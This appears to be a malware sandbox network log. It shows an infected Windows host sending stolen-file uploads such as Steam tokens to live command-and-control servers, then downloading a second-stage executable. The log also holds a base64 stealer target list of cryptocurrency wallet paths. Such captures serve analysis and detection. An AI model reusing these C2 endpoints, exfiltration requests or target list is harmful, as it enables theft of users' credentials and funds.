Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 7, 2024 22:40:49.676702976 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECBGCGCGIEGCBFHIIEB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 2d 2d 0d 0a Data Ascii: ------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------KECBGCGCGIEGCBFHIIEBContent-Disposition: form-data; name="message"files------KECBGCGCGIEGCBFHIIEB--
Dec 7, 2024 22:40:50.120846987 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 22:40:50.132646084 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHII Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="file"------IEHCAKKJDBKKFHJJDHII--
Dec 7, 2024 22:40:51.059140921 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 22:40:51.086411953 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHII Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 2d 2d 0d 0a Data Ascii: ------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------AECAKECAEGDHIECBGHIIContent-Disposition: form-data; name="message"ybncbhylepme------AECAKECAEGDHIECBGHII--
Dec 7, 2024 22:40:51.540298939 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49827	185.215.113.16	80	4340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 22:40:51.664047956 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 7, 2024 22:40:52.995475054 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 21:40:52 GMT Content-Type: application/octet-stream Content-Length: 3234816 Last-Modified: Sat, 07 Dec 2024 21:35:14 GMT Connection: keep-alive ETag: "6754bf92-315c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 60 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf`1@1~1@WkO1dO1 @.rsrc@.idata @jkwpbhob**@stfuboxcP161@.taggant0`1":1@
Dec 7, 2024 22:40:52.995544910 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 22:40:52.995878935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 22:40:52.995971918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 22:40:52.995985985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 22:40:52.996151924 CET	372	IN	Data Raw: fa 28 88 f1 81 fe a1 d8 0e ee 7d 13 46 aa 53 eb 46 82 bc c8 f8 3e 64 71 d1 bf 65 d9 6e bf 18 8e fa 28 58 f1 c1 fe a1 d8 0e 16 7e 13 46 aa 33 eb 46 82 bc 68 f9 3e 64 71 71 bf 65 d9 6e bf 18 8e fa 28 58 f1 b1 fe a1 d8 0e 92 8a 13 46 aa 13 ee 46 82 Data Ascii: (}FSF>dqen(X~F3Fh>dqqen(XFF>dqen(^FF(>dq1en(pAjFFH>dqQen(\)FF>dqen(\RFF>dqen(`vFsF
Dec 7, 2024 22:40:52.996731997 CET	1236	IN	Data Raw: f5 3e 64 71 31 c0 65 d9 6e bf 18 8e fa 28 60 f1 69 fd a1 d8 0e 56 8f 13 46 aa d3 ec 46 82 bc 48 f5 3e 64 71 51 c1 65 d9 6e bf 18 8e fa 28 60 f1 e1 fd a1 d8 0e 4e 93 13 46 aa b3 ec 46 82 bc e8 f5 3e 64 71 f1 c1 65 d9 6e bf 18 8e fa 28 60 f1 d9 fd Data Ascii: >dq1en(`iVFFH>dqQen(`NFF>dqen(`FF>dqen(`FsF>dqen(`bFSF>dqen(`F3Fh>dqqen(`FF>dqen(`
Dec 7, 2024 22:40:52.996835947 CET	1236	IN	Data Raw: 0e 4e 78 13 46 aa 13 f4 46 82 bc 88 eb 3e 64 71 91 f5 65 d9 6e bf 18 8e fa 28 5c f1 9d fb a1 d8 0e 5e 8e 13 46 aa f3 f3 46 82 bc 28 ec 3e 64 71 31 f5 65 d9 6e bf 18 8e fa 28 70 f1 91 fb a1 d8 0e c6 93 13 46 aa d3 f3 46 82 bc 48 64 3e 64 71 51 f6 Data Ascii: NxFF>dqen(\^FF(>dq1en(pFFHd>dqQen(\yFFd>dqen(pmFFe>dqen(tfvFsFe>dqen(`VyFSFe>dqen(l&F3Fhf>dqqe
Dec 7, 2024 22:40:52.996854067 CET	248	IN	Data Raw: 6e bf 18 8e fa 28 5c f1 a9 07 a2 d8 0e 96 77 13 46 aa 33 f8 46 82 bc 68 5a 3e 64 71 71 fa 65 d9 6e bf 18 8e fa 28 5c f1 1d 07 a2 d8 0e ae 92 13 46 aa 13 f7 46 82 bc 88 5a 3e 64 71 91 fa 65 d9 6e bf 18 8e fa 28 74 f1 11 07 a2 d8 0e 96 95 13 46 aa Data Ascii: n(\wF3FhZ>dqqen(\FFZ>dqen(tFF([>dq1en(`FFH[>dqQen(`wFF[>dqen(txFF\>dqen(`Y&FsFT>dqen(lQFS
Dec 7, 2024 22:40:52.998780966 CET	1236	IN	Data Raw: 54 3e 64 71 d1 eb 65 d9 6e bf 18 8e fa 28 84 f1 35 06 a2 d8 0e de 8f 13 46 aa 33 f7 46 82 bc 68 55 3e 64 71 71 eb 65 d9 6e bf 18 8e fa 28 58 f1 91 06 a2 d8 0e a6 79 13 46 aa 13 fa 46 82 bc 88 55 3e 64 71 91 eb 65 d9 6e bf 18 8e fa 28 58 f1 81 06 Data Ascii: T>dqen(5F3FhU>dqqen(XyFFU>dqen(XnFF(V>dq1en(\qxFFHV>dqQen(pFFV>dqen(yFFW>dqen(`}FsFW>dqen(l
Dec 7, 2024 22:40:53.115345001 CET	1236	IN	Data Raw: 42 ac a1 d0 46 2e 57 ef 39 4c 3c 2b 10 81 64 58 02 8a d7 92 e4 55 1e d6 45 83 ab 98 b9 c1 ba cb f3 41 60 94 87 7e b4 59 83 82 1b d7 d1 7c a1 d8 00 c6 18 8e fa c6 18 8e fa 51 3c 77 b7 81 64 02 01 c6 18 8e fa c6 18 8e fa 4d d7 6c 6c b3 d1 d0 b8 b1 Data Ascii: BF.W9L<+dXUEA`~Y\|Q<wdMllp>f\PTBMll4K$]EL<dXUMl>d&dER<d(RREdNJdER<dMlXN{<(EcA=P^j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49844	185.215.113.206	80	4340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 22:40:58.597727060 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFBGHIDBGHJJKFHJDHC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 32 34 39 39 64 37 36 65 33 34 36 32 63 38 30 34 66 38 36 66 32 37 37 64 65 63 65 66 39 37 35 62 62 39 30 32 30 37 34 63 65 30 33 32 38 38 38 37 62 66 62 34 31 62 38 63 64 33 36 33 31 64 30 61 30 61 62 39 30 65 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="token"92499d76e3462c804f86f277decef975bb902074ce0328887bfb41b8cd3631d0a0ab90e9------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CAFBGHIDBGHJJKFHJDHC--
Dec 7, 2024 22:41:00.412426949 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50001	185.215.113.43	80	5824	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 22:42:04.408761024 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 7, 2024 22:42:05.766931057 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 21:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50009	185.215.113.43	80	5824	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 22:42:07.423759937 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 36 32 41 37 32 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B62A72B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 7, 2024 22:42:08.782427073 CET	664	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 21:42:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 64 39 0d 0a 20 3c 63 3e 31 30 31 33 30 33 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 63 32 38 63 34 31 39 31 38 65 37 30 61 62 35 30 33 37 63 34 61 34 35 61 64 63 36 62 33 30 31 66 63 61 38 63 63 35 35 23 31 30 31 33 30 34 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 33 30 34 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 33 30 34 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 [TRUNCATED] Data Ascii: 1d9 <c>1013035001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c28c41918e70ab5037c4a45adc6b301fca8cc55#1013040001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1013041001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1013042001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1013043001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49706	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:00 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4e 73 6f 67 48 59 76 39 45 55 32 7a 48 30 58 70 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 34 33 64 34 35 35 30 32 38 34 61 31 33 65 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: NsogHYv9EU2zH0Xp.1Context: 743d4550284a13eb
2024-12-07 21:40:00 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-07 21:40:00 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4e 73 6f 67 48 59 76 39 45 55 32 7a 48 30 58 70 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 34 33 64 34 35 35 30 32 38 34 61 31 33 65 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 57 32 44 68 6f 47 6b 59 77 72 38 64 69 4b 58 77 48 48 44 30 32 62 63 6a 78 47 39 4b 48 68 56 47 71 38 55 61 73 44 36 6c 49 68 6b 43 53 5a 7a 32 62 52 4d 7a 79 49 38 43 4c 66 37 73 4a 53 51 73 46 58 33 51 6c 6c 4d 46 34 2b 7a 49 37 39 6b 35 74 56 38 78 4a 66 59 69 72 41 68 4d 70 49 72 55 2f 69 76 55 63 4f 56 65 4f 66 7a 42 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: NsogHYv9EU2zH0Xp.2Context: 743d4550284a13eb<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaW2DhoGkYwr8diKXwHHD02bcjxG9KHhVGq8UasD6lIhkCSZz2bRMzyI8CLf7sJSQsFX3QllMF4+zI79k5tV8xJfYirAhMpIrU/ivUcOVeOfzB
2024-12-07 21:40:00 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 4e 73 6f 67 48 59 76 39 45 55 32 7a 48 30 58 70 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 34 33 64 34 35 35 30 32 38 34 61 31 33 65 62 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: NsogHYv9EU2zH0Xp.3Context: 743d4550284a13eb
2024-12-07 21:40:00 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-07 21:40:00 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 48 4e 72 6b 73 4e 59 61 4c 30 36 58 34 51 30 6a 7a 53 61 70 2f 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: HNrksNYaL06X4Q0jzSap/Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49708	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:10 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 56 38 6a 73 5a 50 61 45 53 6b 61 59 4d 6a 7a 71 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 63 63 35 30 38 35 33 66 62 39 36 33 38 33 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: V8jsZPaESkaYMjzq.1Context: 7cc50853fb963837
